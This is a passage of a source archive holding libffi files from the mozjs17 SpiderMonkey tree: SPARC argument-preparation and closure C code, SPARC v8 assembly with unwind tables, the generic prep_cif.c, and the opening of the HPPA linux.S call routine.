(*p_arg)->type == FFI_TYPE_LONGDOUBLE #endif ) { *(unsigned int *) argp = (unsigned long)(* p_argv); z = sizeof(int); } else { z = (*p_arg)->size; if (z < sizeof(int)) { z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = *(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = *(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = *(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = *(UINT16 *)(* p_argv); break; default: FFI_ASSERT(0); } } else { memcpy(argp, *p_argv, z); } } p_argv++; argp += z; } return; } int ffi_prep_args_v9(char *stack, extended_cif *ecif) { int i, ret = 0; int tmp; void **p_argv; char *argp; ffi_type **p_arg; tmp = 0; /* Skip 16 words for the window save area */ argp = stack + 16*sizeof(long long); #ifdef USING_PURIFY /* Purify will probably complain in our assembly routine, unless we zero out this memory. */ ((long long*)argp)[0] = 0; ((long long*)argp)[1] = 0; ((long long*)argp)[2] = 0; ((long long*)argp)[3] = 0; ((long long*)argp)[4] = 0; ((long long*)argp)[5] = 0; #endif p_argv = ecif->avalue; if (ecif->cif->rtype->type == FFI_TYPE_STRUCT && ecif->cif->rtype->size > 32) { *(unsigned long long *) argp = (unsigned long)ecif->rvalue; argp += sizeof(long long); tmp = 1; } for (i = 0, p_arg = ecif->cif->arg_types; i < ecif->cif->nargs; i++, p_arg++) { size_t z; z = (*p_arg)->size; switch ((*p_arg)->type) { case FFI_TYPE_STRUCT: if (z > 16) { /* For structures larger than 16 bytes we pass reference. */ *(unsigned long long *) argp = (unsigned long)* p_argv; argp += sizeof(long long); tmp++; p_argv++; continue; } /* FALLTHROUGH */ case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: #endif ret = 1; /* We should promote into FP regs as well as integer. */ break; } if (z < sizeof(long long)) { switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed long long *) argp = *(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned long long *) argp = *(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed long long *) argp = *(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned long long *) argp = *(UINT16 *)(* p_argv); break; case FFI_TYPE_SINT32: *(signed long long *) argp = *(SINT32 *)(* p_argv); break; case FFI_TYPE_UINT32: *(unsigned long long *) argp = *(UINT32 *)(* p_argv); break; case FFI_TYPE_FLOAT: *(float *) (argp + 4) = *(FLOAT32 *)(* p_argv); /* Right justify */ break; case FFI_TYPE_STRUCT: memcpy(argp, *p_argv, z); break; default: FFI_ASSERT(0); } z = sizeof(long long); tmp++; } else if (z == sizeof(long long)) { memcpy(argp, *p_argv, z); z = sizeof(long long); tmp++; } else { if ((tmp & 1) && (*p_arg)->alignment > 8) { tmp++; argp += sizeof(long long); } memcpy(argp, *p_argv, z); z = 2 * sizeof(long long); tmp += 2; } p_argv++; argp += z; } return ret; } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { int wordsize; if (cif->abi != FFI_V9) { wordsize = 4; /* If we are returning a struct, this will already have been added. Otherwise we need to add it because it's always got to be there! */ if (cif->rtype->type != FFI_TYPE_STRUCT) cif->bytes += wordsize; /* sparc call frames require that space is allocated for 6 args, even if they aren't used. Make that space if necessary. */ if (cif->bytes < 4*6+4) cif->bytes = 4*6+4; } else { wordsize = 8; /* sparc call frames require that space is allocated for 6 args, even if they aren't used. Make that space if necessary. */ if (cif->bytes < 8*6) cif->bytes = 8*6; } /* Adjust cif->bytes. to include 16 words for the window save area, and maybe the struct/union return pointer area, */ cif->bytes += 16 * wordsize; /* The stack must be 2 word aligned, so round bytes up appropriately. */ cif->bytes = ALIGN(cif->bytes, 2 * wordsize); /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_VOID: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: #endif cif->flags = cif->rtype->type; break; case FFI_TYPE_STRUCT: if (cif->abi == FFI_V9 && cif->rtype->size > 32) cif->flags = FFI_TYPE_VOID; else cif->flags = FFI_TYPE_STRUCT; break; case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: if (cif->abi == FFI_V9) cif->flags = FFI_TYPE_INT; else cif->flags = cif->rtype->type; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: if (cif->abi == FFI_V9) cif->flags = FFI_TYPE_INT; else cif->flags = FFI_TYPE_SINT64; break; default: cif->flags = FFI_TYPE_INT; break; } return FFI_OK; } int ffi_v9_layout_struct(ffi_type *arg, int off, char *ret, char *intg, char *flt) { ffi_type **ptr = &arg->elements[0]; while (*ptr != NULL) { if (off & ((*ptr)->alignment - 1)) off = ALIGN(off, (*ptr)->alignment); switch ((*ptr)->type) { case FFI_TYPE_STRUCT: off = ffi_v9_layout_struct(*ptr, off, ret, intg, flt); off = ALIGN(off, FFI_SIZEOF_ARG); break; case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: #endif memmove(ret + off, flt + off, (*ptr)->size); off += (*ptr)->size; break; default: memmove(ret + off, intg + off, (*ptr)->size); off += (*ptr)->size; break; } ptr++; } return off; } #ifdef SPARC64 extern int ffi_call_v9(void *, extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); #else extern int ffi_call_v8(void *, extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); #endif void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; void *rval = rvalue; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ ecif.rvalue = rvalue; if (cif->rtype->type == FFI_TYPE_STRUCT) { if (cif->rtype->size <= 32) rval = alloca(64); else { rval = NULL; if (rvalue == NULL) ecif.rvalue = alloca(cif->rtype->size); } } switch (cif->abi) { case FFI_V8: #ifdef SPARC64 /* We don't yet support calling 32bit code from 64bit */ FFI_ASSERT(0); #else ffi_call_v8(ffi_prep_args_v8, &ecif, cif->bytes, cif->flags, rvalue, fn); #endif break; case FFI_V9: #ifdef SPARC64 ffi_call_v9(ffi_prep_args_v9, &ecif, cif->bytes, cif->flags, rval, fn); if (rvalue && rval && cif->rtype->type == FFI_TYPE_STRUCT) ffi_v9_layout_struct(cif->rtype, 0, (char *)rvalue, (char *)rval, ((char *)rval)+32); #else /* And vice versa */ FFI_ASSERT(0); #endif break; default: FFI_ASSERT(0); break; } } #ifdef SPARC64 extern void ffi_closure_v9(void); #else extern void ffi_closure_v8(void); #endif ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { unsigned int *tramp = (unsigned int *) &closure->tramp[0]; unsigned long fn; #ifdef SPARC64 /* Trampoline address is equal to the closure address. We take advantage of that to reduce the trampoline size by 8 bytes. */ FFI_ASSERT (cif->abi == FFI_V9); fn = (unsigned long) ffi_closure_v9; tramp[0] = 0x83414000; /* rd %pc, %g1 */ tramp[1] = 0xca586010; /* ldx [%g1+16], %g5 */ tramp[2] = 0x81c14000; /* jmp %g5 */ tramp[3] = 0x01000000; /* nop */ *((unsigned long *) &tramp[4]) = fn; #else unsigned long ctx = (unsigned long) codeloc; FFI_ASSERT (cif->abi == FFI_V8); fn = (unsigned long) ffi_closure_v8; tramp[0] = 0x03000000 | fn >> 10; /* sethi %hi(fn), %g1 */ tramp[1] = 0x05000000 | ctx >> 10; /* sethi %hi(ctx), %g2 */ tramp[2] = 0x81c06000 | (fn & 0x3ff); /* jmp %g1+%lo(fn) */ tramp[3] = 0x8410a000 | (ctx & 0x3ff);/* or %g2, %lo(ctx) */ #endif closure->cif = cif; closure->fun = fun; closure->user_data = user_data; /* Flush the Icache. FIXME: alignment isn't certain, assume 8 bytes */ #ifdef SPARC64 asm volatile ("flush %0" : : "r" (closure) : "memory"); asm volatile ("flush %0" : : "r" (((char *) closure) + 8) : "memory"); #else asm volatile ("iflush %0" : : "r" (closure) : "memory"); asm volatile ("iflush %0" : : "r" (((char *) closure) + 8) : "memory"); #endif return FFI_OK; } int ffi_closure_sparc_inner_v8(ffi_closure *closure, void *rvalue, unsigned long *gpr, unsigned long *scratch) { ffi_cif *cif; ffi_type **arg_types; void **avalue; int i, argn; cif = closure->cif; arg_types = cif->arg_types; avalue = alloca(cif->nargs * sizeof(void *)); /* Copy the caller's structure return address so that the closure returns the data directly to the caller. */ if (cif->flags == FFI_TYPE_STRUCT #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE || cif->flags == FFI_TYPE_LONGDOUBLE #endif ) rvalue = (void *) gpr[0]; /* Always skip the structure return address. */ argn = 1; /* Grab the addresses of the arguments from the stack frame. */ for (i = 0; i < cif->nargs; i++) { if (arg_types[i]->type == FFI_TYPE_STRUCT #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE || arg_types[i]->type == FFI_TYPE_LONGDOUBLE #endif ) { /* Straight copy of invisible reference. */ avalue[i] = (void *)gpr[argn++]; } else if ((arg_types[i]->type == FFI_TYPE_DOUBLE || arg_types[i]->type == FFI_TYPE_SINT64 || arg_types[i]->type == FFI_TYPE_UINT64) /* gpr is 8-byte aligned. */ && (argn % 2) != 0) { /* Align on a 8-byte boundary. */ scratch[0] = gpr[argn]; scratch[1] = gpr[argn+1]; avalue[i] = scratch; scratch -= 2; argn += 2; } else { /* Always right-justify. */ argn += ALIGN(arg_types[i]->size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; avalue[i] = ((char *) &gpr[argn]) - arg_types[i]->size; } } /* Invoke the closure. */ (closure->fun) (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_sparc how to perform return type promotions. */ return cif->rtype->type; } int ffi_closure_sparc_inner_v9(ffi_closure *closure, void *rvalue, unsigned long *gpr, double *fpr) { ffi_cif *cif; ffi_type **arg_types; void **avalue; int i, argn, fp_slot_max; cif = closure->cif; arg_types = cif->arg_types; avalue = alloca(cif->nargs * sizeof(void *)); /* Copy the caller's structure return address so that the closure returns the data directly to the caller. */ if (cif->flags == FFI_TYPE_VOID && cif->rtype->type == FFI_TYPE_STRUCT) { rvalue = (void *) gpr[0]; /* Skip the structure return address. */ argn = 1; } else argn = 0; fp_slot_max = 16 - argn; /* Grab the addresses of the arguments from the stack frame. */ for (i = 0; i < cif->nargs; i++) { if (arg_types[i]->type == FFI_TYPE_STRUCT) { if (arg_types[i]->size > 16) { /* Straight copy of invisible reference. */ avalue[i] = (void *)gpr[argn++]; } else { /* Left-justify. */ ffi_v9_layout_struct(arg_types[i], 0, (char *) &gpr[argn], (char *) &gpr[argn], (char *) &fpr[argn]); avalue[i] = &gpr[argn]; argn += ALIGN(arg_types[i]->size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; } } else { /* Right-justify. */ argn += ALIGN(arg_types[i]->size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; /* Align on a 16-byte boundary. */ #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE if (arg_types[i]->type == FFI_TYPE_LONGDOUBLE && (argn % 2) != 0) argn++; #endif if (i < fp_slot_max && (arg_types[i]->type == FFI_TYPE_FLOAT || arg_types[i]->type == FFI_TYPE_DOUBLE #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE || arg_types[i]->type == FFI_TYPE_LONGDOUBLE #endif )) avalue[i] = ((char *) &fpr[argn]) - arg_types[i]->size; else avalue[i] = ((char *) &gpr[argn]) - arg_types[i]->size; } } /* Invoke the closure. */ (closure->fun) (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_sparc how to perform return type promotions. */ return cif->rtype->type; } mozjs17.0.0/js/src/ctypes/libffi/src/sparc/v8.S0000664000175000017500000001540512106270662021132 0ustar sstanglsstangl/* ----------------------------------------------------------------------- v8.S - Copyright (c) 1996, 1997, 2003, 2004, 2008 Red Hat, Inc. SPARC Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #define STACKFRAME 96 /* Minimum stack framesize for SPARC */ #define ARGS (64+4) /* Offset of register area in frame */ .text .align 8 .globl ffi_call_v8 .globl _ffi_call_v8 ffi_call_v8: _ffi_call_v8: .LLFB1: save %sp, -STACKFRAME, %sp .LLCFI0: sub %sp, %i2, %sp ! alloca() space in stack for frame to set up add %sp, STACKFRAME, %l0 ! %l0 has start of ! frame to set up mov %l0, %o0 ! call routine to set up frame call %i0 mov %i1, %o1 ! (delay) ld [%l0+ARGS], %o0 ! call foreign function ld [%l0+ARGS+4], %o1 ld [%l0+ARGS+8], %o2 ld [%l0+ARGS+12], %o3 ld [%l0+ARGS+16], %o4 ld [%l0+ARGS+20], %o5 call %i5 mov %l0, %sp ! (delay) switch to frame nop ! STRUCT returning functions skip 12 instead of 8 bytes ! If the return value pointer is NULL, assume no return value. tst %i4 bz done nop cmp %i3, FFI_TYPE_INT be,a done st %o0, [%i4] ! (delay) cmp %i3, FFI_TYPE_FLOAT be,a done st %f0, [%i4+0] ! (delay) cmp %i3, FFI_TYPE_DOUBLE be,a double st %f0, [%i4+0] ! (delay) cmp %i3, FFI_TYPE_SINT8 be,a sint8 sll %o0, 24, %o0 ! (delay) cmp %i3, FFI_TYPE_UINT8 be,a uint8 sll %o0, 24, %o0 ! (delay) cmp %i3, FFI_TYPE_SINT16 be,a sint16 sll %o0, 16, %o0 ! (delay) cmp %i3, FFI_TYPE_UINT16 be,a uint16 sll %o0, 16, %o0 ! (delay) cmp %i3, FFI_TYPE_SINT64 be,a longlong st %o0, [%i4+0] ! (delay) done: ret restore double: st %f1, [%i4+4] ret restore sint8: sra %o0, 24, %o0 st %o0, [%i4+0] ret restore uint8: srl %o0, 24, %o0 st %o0, [%i4+0] ret restore sint16: sra %o0, 16, %o0 st %o0, [%i4+0] ret restore uint16: srl %o0, 16, %o0 st %o0, [%i4+0] ret restore longlong: st %o1, [%i4+4] ret restore .LLFE1: .ffi_call_v8_end: .size ffi_call_v8,.ffi_call_v8_end-ffi_call_v8 #undef STACKFRAME #define STACKFRAME 104 /* 16*4 register window + 1*4 struct return + 6*4 args backing store + 3*4 locals */ /* ffi_closure_v8(...) Receives the closure argument in %g2. */ .text .align 8 .globl ffi_closure_v8 ffi_closure_v8: #ifdef HAVE_AS_REGISTER_PSEUDO_OP .register %g2, #scratch #endif .LLFB2: ! Reserve frame space for all arguments in case ! we need to align them on a 8-byte boundary. ld [%g2+FFI_TRAMPOLINE_SIZE], %g1 ld [%g1+4], %g1 sll %g1, 3, %g1 add %g1, STACKFRAME, %g1 ! %g1 == STACKFRAME + 8*nargs neg %g1 save %sp, %g1, %sp .LLCFI1: ! Store all of the potential argument registers in va_list format. st %i0, [%fp+68+0] st %i1, [%fp+68+4] st %i2, [%fp+68+8] st %i3, [%fp+68+12] st %i4, [%fp+68+16] st %i5, [%fp+68+20] ! Call ffi_closure_sparc_inner to do the bulk of the work. mov %g2, %o0 add %fp, -8, %o1 add %fp, 64, %o2 call ffi_closure_sparc_inner_v8 add %fp, -16, %o3 ! Load up the return value in the proper type. ! See ffi_prep_cif_machdep for the list of cases. cmp %o0, FFI_TYPE_VOID be done1 cmp %o0, FFI_TYPE_INT be done1 ld [%fp-8], %i0 cmp %o0, FFI_TYPE_FLOAT be,a done1 ld [%fp-8], %f0 cmp %o0, FFI_TYPE_DOUBLE be,a done1 ldd [%fp-8], %f0 #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE cmp %o0, FFI_TYPE_LONGDOUBLE be done2 #endif cmp %o0, FFI_TYPE_STRUCT be done2 cmp %o0, FFI_TYPE_SINT64 be,a done1 ldd [%fp-8], %i0 ld [%fp-8], %i0 done1: jmp %i7+8 restore done2: ! Skip 'unimp'. jmp %i7+12 restore .LLFE2: .ffi_closure_v8_end: .size ffi_closure_v8,.ffi_closure_v8_end-ffi_closure_v8 #ifdef SPARC64 #define WS 8 #define nword xword #define uanword uaxword #else #define WS 4 #define nword long #define uanword uaword #endif #ifdef HAVE_RO_EH_FRAME .section ".eh_frame",#alloc #else .section ".eh_frame",#alloc,#write #endif .LLframe1: .uaword .LLECIE1-.LLSCIE1 ! Length of Common Information Entry .LLSCIE1: .uaword 0x0 ! CIE Identifier Tag .byte 0x1 ! CIE Version .ascii "zR\0" ! CIE Augmentation .byte 0x1 ! uleb128 0x1; CIE Code Alignment Factor .byte 0x80-WS ! sleb128 -WS; CIE Data Alignment Factor .byte 0xf ! CIE RA Column .byte 0x1 ! uleb128 0x1; Augmentation size #ifdef HAVE_AS_SPARC_UA_PCREL .byte 0x1b ! FDE Encoding (pcrel sdata4) #else .byte 0x50 ! FDE Encoding (aligned absolute) #endif .byte 0xc ! DW_CFA_def_cfa .byte 0xe ! uleb128 0xe .byte 0x0 ! uleb128 0x0 .align WS .LLECIE1: .LLSFDE1: .uaword .LLEFDE1-.LLASFDE1 ! FDE Length .LLASFDE1: .uaword .LLASFDE1-.LLframe1 ! FDE CIE offset #ifdef HAVE_AS_SPARC_UA_PCREL .uaword %r_disp32(.LLFB1) .uaword .LLFE1-.LLFB1 ! FDE address range #else .align WS .nword .LLFB1 .uanword .LLFE1-.LLFB1 ! FDE address range #endif .byte 0x0 ! uleb128 0x0; Augmentation size .byte 0x4 ! DW_CFA_advance_loc4 .uaword .LLCFI0-.LLFB1 .byte 0xd ! DW_CFA_def_cfa_register .byte 0x1e ! uleb128 0x1e .byte 0x2d ! DW_CFA_GNU_window_save .byte 0x9 ! DW_CFA_register .byte 0xf ! uleb128 0xf .byte 0x1f ! uleb128 0x1f .align WS .LLEFDE1: .LLSFDE2: .uaword .LLEFDE2-.LLASFDE2 ! FDE Length .LLASFDE2: .uaword .LLASFDE2-.LLframe1 ! FDE CIE offset #ifdef HAVE_AS_SPARC_UA_PCREL .uaword %r_disp32(.LLFB2) .uaword .LLFE2-.LLFB2 ! FDE address range #else .align WS .nword .LLFB2 .uanword .LLFE2-.LLFB2 ! FDE address range #endif .byte 0x0 ! uleb128 0x0; Augmentation size .byte 0x4 ! DW_CFA_advance_loc4 .uaword .LLCFI1-.LLFB2 .byte 0xd ! DW_CFA_def_cfa_register .byte 0x1e ! uleb128 0x1e .byte 0x2d ! DW_CFA_GNU_window_save .byte 0x9 ! DW_CFA_register .byte 0xf ! uleb128 0xf .byte 0x1f ! uleb128 0x1f .align WS .LLEFDE2: #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/prep_cif.c0000664000175000017500000001220312106270662021265 0ustar sstanglsstangl/* ----------------------------------------------------------------------- prep_cif.c - Copyright (c) 1996, 1998, 2007 Red Hat, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include /* Round up to FFI_SIZEOF_ARG. */ #define STACK_ARG_SIZE(x) ALIGN(x, FFI_SIZEOF_ARG) /* Perform machine independent initialization of aggregate type specifications. */ static ffi_status initialize_aggregate(ffi_type *arg) { ffi_type **ptr; FFI_ASSERT(arg != NULL); FFI_ASSERT(arg->elements != NULL); FFI_ASSERT(arg->size == 0); FFI_ASSERT(arg->alignment == 0); ptr = &(arg->elements[0]); while ((*ptr) != NULL) { if (((*ptr)->size == 0) && (initialize_aggregate((*ptr)) != FFI_OK)) return FFI_BAD_TYPEDEF; /* Perform a sanity check on the argument type */ FFI_ASSERT_VALID_TYPE(*ptr); arg->size = ALIGN(arg->size, (*ptr)->alignment); arg->size += (*ptr)->size; arg->alignment = (arg->alignment > (*ptr)->alignment) ? arg->alignment : (*ptr)->alignment; ptr++; } /* Structure size includes tail padding. This is important for structures that fit in one register on ABIs like the PowerPC64 Linux ABI that right justify small structs in a register. It's also needed for nested structure layout, for example struct A { long a; char b; }; struct B { struct A x; char y; }; should find y at an offset of 2*sizeof(long) and result in a total size of 3*sizeof(long). */ arg->size = ALIGN (arg->size, arg->alignment); if (arg->size == 0) return FFI_BAD_TYPEDEF; else return FFI_OK; } #ifndef __CRIS__ /* The CRIS ABI specifies structure elements to have byte alignment only, so it completely overrides this functions, which assumes "natural" alignment and padding. */ /* Perform machine independent ffi_cif preparation, then call machine dependent routine. */ ffi_status ffi_prep_cif(ffi_cif *cif, ffi_abi abi, unsigned int nargs, ffi_type *rtype, ffi_type **atypes) { unsigned bytes = 0; unsigned int i; ffi_type **ptr; FFI_ASSERT(cif != NULL); FFI_ASSERT(abi > FFI_FIRST_ABI && abi < FFI_LAST_ABI); cif->abi = abi; cif->arg_types = atypes; cif->nargs = nargs; cif->rtype = rtype; cif->flags = 0; /* Initialize the return type if necessary */ if ((cif->rtype->size == 0) && (initialize_aggregate(cif->rtype) != FFI_OK)) return FFI_BAD_TYPEDEF; /* Perform a sanity check on the return type */ FFI_ASSERT_VALID_TYPE(cif->rtype); /* x86, x86-64 and s390 stack space allocation is handled in prep_machdep. */ #if !defined M68K && !defined X86_ANY && !defined S390 && !defined PA /* Make space for the return structure pointer */ if (cif->rtype->type == FFI_TYPE_STRUCT #ifdef SPARC && (cif->abi != FFI_V9 || cif->rtype->size > 32) #endif ) bytes = STACK_ARG_SIZE(sizeof(void*)); #endif for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++) { /* Initialize any uninitialized aggregate type definitions */ if (((*ptr)->size == 0) && (initialize_aggregate((*ptr)) != FFI_OK)) return FFI_BAD_TYPEDEF; /* Perform a sanity check on the argument type, do this check after the initialization. */ FFI_ASSERT_VALID_TYPE(*ptr); #if !defined X86_ANY && !defined S390 && !defined PA #ifdef SPARC if (((*ptr)->type == FFI_TYPE_STRUCT && ((*ptr)->size > 16 || cif->abi != FFI_V9)) || ((*ptr)->type == FFI_TYPE_LONGDOUBLE && cif->abi != FFI_V9)) bytes += sizeof(void*); else #endif { /* Add any padding if necessary */ if (((*ptr)->alignment - 1) & bytes) bytes = ALIGN(bytes, (*ptr)->alignment); bytes += STACK_ARG_SIZE((*ptr)->size); } #endif } cif->bytes = bytes; /* Perform machine dependent cif processing */ return ffi_prep_cif_machdep(cif); } #endif /* not __CRIS__ */ #if FFI_CLOSURES ffi_status ffi_prep_closure (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data) { return ffi_prep_closure_loc (closure, cif, fun, user_data, closure); } #endif mozjs17.0.0/js/src/ctypes/libffi/src/pa/0000775000175000017500000000000012106270662017734 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/pa/linux.S0000664000175000017500000002174312106270662021226 0ustar sstanglsstangl/* ----------------------------------------------------------------------- linux.S - (c) 2003-2004 Randolph Chung (c) 2008 Red Hat, Inc. HPPA Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL RENESAS TECHNOLOGY BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include .text .level 1.1 .align 4 /* void ffi_call_pa32(void (*)(char *, extended_cif *), extended_cif *ecif, unsigned bytes, unsigned flags, unsigned *rvalue, void (*fn)(void)); */ .export ffi_call_pa32,code .import ffi_prep_args_pa32,code .type ffi_call_pa32, @function .LFB1: ffi_call_pa32: .proc .callinfo FRAME=64,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=4 .entry stw %rp, -20(%sp) copy %r3, %r1 .LCFI11: copy %sp, %r3 .LCFI12: /* Setup the stack for calling prep_args... We want the stack to look like this: [ Previous stack ] <- %r3 [ 64-bytes register save area ] <- %r4 [ Stack space for actual call, passed as ] <- %arg0 [ arg0 to ffi_prep_args_pa32 ] [ Stack for calling prep_args ] <- %sp */ stwm %r1, 64(%sp) stw %r4, 12(%r3) .LCFI13: copy %sp, %r4 addl %arg2, %r4, %arg0 /* arg stack */ stw %arg3, -48(%r3) /* save flags; we need it later */ /* Call prep_args: %arg0(stack) -- set up above %arg1(ecif) -- same as incoming param %arg2(bytes) -- same as incoming param */ bl ffi_prep_args_pa32,%r2 ldo 64(%arg0), %sp ldo -64(%sp), %sp /* now %sp should point where %arg0 was pointing. */ /* Load the arguments that should be passed in registers The fp args were loaded by the prep_args function. */ ldw -36(%sp), %arg0 ldw -40(%sp), %arg1 ldw -44(%sp), %arg2 ldw -48(%sp), %arg3 /* in case the function is going to return a structure we need to give it a place to put the result. */ ldw -52(%r3), %ret0 /* %ret0 <- rvalue */ ldw -56(%r3), %r22 /* %r22 <- function to call */ bl $$dyncall, %r31 /* Call the user function */ copy %r31, %rp /* Prepare to store the result; we need to recover flags and rvalue. */ ldw -48(%r3), %r21 /* r21 <- flags */ ldw -52(%r3), %r20 /* r20 <- rvalue */ /* Store the result according to the return type. */ .Lcheckint: comib,<>,n FFI_TYPE_INT, %r21, .Lcheckint8 b .Ldone stw %ret0, 0(%r20) .Lcheckint8: comib,<>,n FFI_TYPE_UINT8, %r21, .Lcheckint16 b .Ldone stb %ret0, 0(%r20) .Lcheckint16: comib,<>,n FFI_TYPE_UINT16, %r21, .Lcheckdbl b .Ldone sth %ret0, 0(%r20) .Lcheckdbl: comib,<>,n FFI_TYPE_DOUBLE, %r21, .Lcheckfloat b .Ldone fstd %fr4,0(%r20) .Lcheckfloat: comib,<>,n FFI_TYPE_FLOAT, %r21, .Lcheckll b .Ldone fstw %fr4L,0(%r20) .Lcheckll: comib,<>,n FFI_TYPE_UINT64, %r21, .Lchecksmst2 stw %ret0, 0(%r20) b .Ldone stw %ret1, 4(%r20) .Lchecksmst2: comib,<>,n FFI_TYPE_SMALL_STRUCT2, %r21, .Lchecksmst3 /* 2-byte structs are returned in ret0 as ????xxyy. */ extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) b .Ldone stb %ret0, 0(%r20) .Lchecksmst3: comib,<>,n FFI_TYPE_SMALL_STRUCT3, %r21, .Lchecksmst4 /* 3-byte structs are returned in ret0 as ??xxyyzz. */ extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) b .Ldone stb %ret0, 0(%r20) .Lchecksmst4: comib,<>,n FFI_TYPE_SMALL_STRUCT4, %r21, .Lchecksmst5 /* 4-byte structs are returned in ret0 as wwxxyyzz. */ extru %ret0, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) b .Ldone stb %ret0, 0(%r20) .Lchecksmst5: comib,<>,n FFI_TYPE_SMALL_STRUCT5, %r21, .Lchecksmst6 /* 5 byte values are returned right justified: ret0 ret1 5: ??????aa bbccddee */ stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 